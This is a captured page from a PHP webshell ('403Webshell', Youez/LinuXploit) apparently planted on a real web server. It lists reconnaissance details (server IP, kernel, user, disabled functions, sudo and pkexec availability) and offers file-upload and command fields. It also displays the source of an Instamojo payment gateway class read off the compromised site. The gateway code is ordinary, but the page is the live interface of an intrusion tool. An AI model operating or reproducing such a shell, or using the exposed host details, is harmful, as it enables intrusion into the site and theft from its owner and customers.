403Webshell
Server IP : 103.161.17.216  /  Your IP : 216.73.216.1
Web Server : nginx/1.18.0
System : Linux tipsysaigoncharming 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/app.houseland.info/application/libraries/gateways/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/app.houseland.info/application/libraries/gateways/Instamojo_gateway.php
<?php

defined('BASEPATH') or exit('No direct script access allowed');

class Instamojo_gateway extends App_gateway
{
    public bool $processingFees = true;

    private $sandbox_endpoint = 'https://test.instamojo.com/api/1.1/';

    private $production_endpoint = 'https://www.instamojo.com/api/1.1/';

    public function __construct()
    {
        /**
         * Call App_gateway __construct function
         */
        parent::__construct();
        /**
         * REQUIRED
         * Gateway unique id
         * The ID must be alpha/alphanumeric
         */
        $this->setId('instamojo');

        /**
         * REQUIRED
         * Gateway name
         */
        $this->setName('Instamojo');

        /**
         * Add gateway settings
        */
        $this->setSettings(
        [
            [
                'name'      => 'api_key',
                'encrypted' => true,
                'label'     => 'Private API Key',
                ],
            [
                'name'      => 'auth_token',
                'encrypted' => true,
                'label'     => 'Private Auth Token',
                ],
             [
                'name'          => 'description_dashboard',
                'label'         => 'settings_paymentmethod_description',
                'type'          => 'textarea',
                'default_value' => 'Payment for Invoice {invoice_number}',
            ],
            [
                'name'             => 'currencies',
                'label'            => 'settings_paymentmethod_currencies',
                'default_value'    => 'INR',
                'field_attributes' => ['disabled' => true],
                ],
            [
                'name'          => 'test_mode_enabled',
                'type'          => 'yes_no',
                'default_value' => 1,
                'label'         => 'settings_paymentmethod_testing_mode',
                ],
            ]
        );
    }

    /**
     * REQUIRED FUNCTION
     * @param  array $data
     * @return mixed
     */
    public function process_payment($data)
    {
        $gateway = $this->createApi();

        try {
            $request = [
                'purpose'      => str_replace('{invoice_number}', format_invoice_number($data['invoice']->id), $this->getSetting('description_dashboard')),
                'amount'       => number_format($data['amount'], 2, '.', ''),
                'redirect_url' => site_url('gateways/instamojo/redirect/' . $data['invoice']->id . '/' . $data['invoice']->hash . '/' . $data['payment_attempt']->reference),
                ];

            $buyer_name  = null;
            $email       = null;
            $phonenumber = null;

            if (is_client_logged_in()) {
                $contact    = $this->ci->clients_model->get_contact(get_contact_user_id());
                $buyer_name = $contact->firstname . ' ' . $contact->lastname;
                if ($contact->email) {
                    $email = $contact->email;
                }
                if ($contact->phonenumber) {
                    $phonenumber = $contact->phonenumber;
                }
            } else {
                $contacts = $this->ci->clients_model->get_contacts($data['invoice']->clientid);
                if (count($contacts) == 1) {
                    $contact    = $contacts[0];
                    $buyer_name = $contact['firstname'] . ' ' . $contact['lastname'];
                    if ($contact['email']) {
                        $email = $contact['email'];
                    }
                    if ($contact['phonenumber']) {
                        $phonenumber = $contact['phonenumber'];
                    }
                }
            }

            $request['buyer_name'] = $buyer_name;
            $request['email']      = $email;
            $request['phone']      = $phonenumber;

            $response = $gateway->paymentRequestCreate($request);
            redirect($response['longurl']);
            die;
        } catch (Exception $e) {
            $errors = json_decode($e->getMessage());

            if (is_array($errors)) {
                foreach ($errors as $err) {
                    set_alert('warning', $err[0]);

                    break;
                }
            } else {
                set_alert('warning', $errors);
            }

            redirect(site_url('invoice/' . $data['invoice']->id . '/' . $data['invoice']->hash));
        }
    }

    public function createApi()
    {
        return new \Instamojo\Instamojo(
            $this->decryptSetting('api_key'),
            $this->decryptSetting('auth_token'),
            $this->getEndpoint()
        );
    }

    private function getEndpoint()
    {
        return $this->getSetting('test_mode_enabled') == '1' ? $this->sandbox_endpoint : $this->production_endpoint;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit